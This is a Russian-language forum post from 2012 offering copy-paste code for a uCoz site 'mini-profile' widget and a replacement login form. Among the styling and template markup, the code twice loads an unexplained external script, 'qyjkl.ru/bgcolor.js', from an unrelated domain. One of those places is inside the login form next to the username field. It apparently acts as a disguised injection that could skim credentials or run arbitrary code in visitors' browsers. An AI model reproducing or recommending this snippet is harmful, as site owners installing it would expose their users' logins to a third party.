yandex · Оффлайн · Дата: Вторник, 17.07.2012, 13:37:39 | Сообщение # 1
Сообщений: 37
-
Смотрим скрин скрипта: http://s010.radikal.ru/i312/1207/b1/b87d47f35412.png
Вот озадачился вопросом создания мини профиля для этого сайта, вот что получилось. При нажатии на кнопку "Функции" выпадает Мой профиль, Изменить профиль, Пользователи, ЛС, Отправить ЛС, Выход Установка:Создаем новый блок и помещаем туда:
[code]<style>
.miniprofile {height:16px;width:172;font: normal 10px Arial, Helvetica, sans-serif; color:#ffffff;text-decoration:none;padding-left:16px;line-height:18px;display:block;font-weight:normal;background: url('http://s019.radikal.ru/i632/1207/b8/b6c13f663c85.png'); border: 1px solid #272626 ;text-align: left;} .screenshot img {margin:6px; padding:5px; -moz-border-radius:6px; -webkit-border-radius:6px; border-radius:6px; -moz-box-shadow:0 0px 5px #000000; box-shadow:0 0px 5px #000000;-webkit-box-shadow:0 0px 5px #000000;} </style> <div align="center"> <strong> <SCRIPT LANGUAGE="JavaScript"> currentTime = new Date(); if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 ) document.write("Доброе утро "); if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 ) document.write("Добрый день "); if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23) document.write("Добрый вечер "); if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5) document.write("Доброй ночи "); </SCRIPT><br>$USERNAME$</strong></div> <script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script> <div class="screenshot"><center><?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"> <?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="" border="0"> <?else?><img class="userAvatar" title="$USERNAME$" src="http://i053.radikal.ru/1207/1d/192c3790e203.png" border="0"> <?endif?><?endif?></center></div>
<?if($USER_LOGGED_IN$)?> <div id="middle_block_right"> <a class="b1"<a href"">Логин: $USERNAME$</a></li><div id="hras"></div> <a class="b1"<a href"">$USER_GROUP$</a></li><div id="hras"></div> <a class="b1"<a href"">Вы у нас: $USER_REG_DAYS$-й день</a></li><div id="hras"></div> <a class="b1"<a href"">Ваш IP: $IP_ADDRESS$</a></li><div id="hras"></div> </div>
<div id="middle_block_right"><a title="" onclick="$('#function').slideToggle('slow');"<a class="b1" href="javascript://"><center>Функции</center></a></li><div id="hras"></div> <div id="function" style="display:none">
<div id="middle_block_right"> <a class="b1"<a href="$PERSONAL_PAGE_LINK$">Мой профиль</a></li><div id="hras"></div> <a class="b1"<a href="/index/11">Изменить профиль</a> </li><div id="hras"></div> <a class="b1"<a href="/index/15-1">Пользователи</a> </li><div id="hras"></div> <a class="b1"<a href="$PM_URL$">ЛС</a> </li><div id="hras"></div> <a class="b1"<a href="/index/14-999-0-1">Отправить ЛС</a></li><div id="hras"></div> <a class="b1"<a href="$LOGOUT_LINK$">Выход</a></li><div id="hras"></div> </div> <?endif?> <?if($USER_LOGGED_IN$)?><?else?> <div class="cblock3"> <a title="" onclick="$('#login').slideToggle('slow');" href="javascript://;"></a> </div> $LOGIN_FORM$ <div class="cblock3"><a href="$REGISTER_LINK$"></a></div><?endif?>[/code]
Далее идем: Управление дизайном> Общие шаблоны> Таблица стилей (CSS), и в самый низ вставляем:
[code]/* SMALL.UCOZ.PL Mini-Profile */ a.b1 {display:block; width:180px; height:18px; text-align:left; background:url('http://s018.radikal.ru/i526/1207/8c/7de6f4282794.png'); font-size:8pt; font-family:tahoma, arial; padding:5px 0 0 14px;} a.b1:link, a.b2:link, a.b3:link, a.b4:link, a.b5:link, a.packs:link, a.granati:link, a.c4:link, a.cnarejenue:link, a.knife:link, a.ryku:link, a.mw2:link { text-decoration:none; color:#848484;} a.b1:visited, a.b2:visited, a.b3:visited, a.b4:visited, a.b5:visited, a.packs:visited, a.granati:visited, a.c4:visited, a.cnarejenue:visited, a.knife:visited, a.ryku:visited, a.mw2:visited { text-decoration:none; color:#848484;} a.b1:hover, a.b2:hover, a.b3:hover, a.b4:hover, a.b5:hover, a.packs:hover, a.granati:hover, a.c4:hover, a.cnarejenue:hover, a.knife:hover, a.ryku:hover, a.mw2:hover { text-shadow:0 0 5px #fff; -moz-border-radius:3px;-webkit-border-radius:3px; border-radius: 3px; color:#fff; background-position:0px -23px;} a.b1:active, a.b2:active, a.b3:active, a.b4:active, a.b5:active, a.packs:active, a.granati:active, a.c4:active, a.cnarejenue:active, a.knife:active, a.ryku:active, a.mw2:active { text-shadow:0 0 5px #fff; -moz-border-radius:3px;-webkit-border-radius:3px; border-radius: 3px; color:#fff; background-position:0px -23px;} /* ---- */[/code]
Теперь последнее идем: Управление дизайном> Пользователи> Форма входа пользователей, удаляем все оттуда и вставляем:
[code]<?if($PAGE_ID$="login")?><div style="width: 180px;"><?endif?> <table border="0" cellpadding="0" cellspacing="1" width="100%"> <?if($ERROR$)?><tbody><tr><td colspan="2" style="color: red; text-align: center;"> <br>$ERROR$</td><?endif?> </tr><tr><td width="10%" nowrap="nowrap"><img alt="" src="http://s017.radikal.ru/i416/1207/61/2dd11df39cc2.png" align="" border="0" width="16" height="16"></td> <td><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><input class="loginField" name="user" value="" size="10" style="width: 100%;" maxlength="50" type="text"></td></tr> <tr><td><img alt="" src="http://i075.radikal.ru/1207/1c/f562c3cff4dd.png" align="" border="0" width="16" height="16"></td><td><input class="loginField" name="password" size="20" style="width: 100%;" maxlength="15" type="password"></td></tr></tbody></table>[/code]
Алексей
|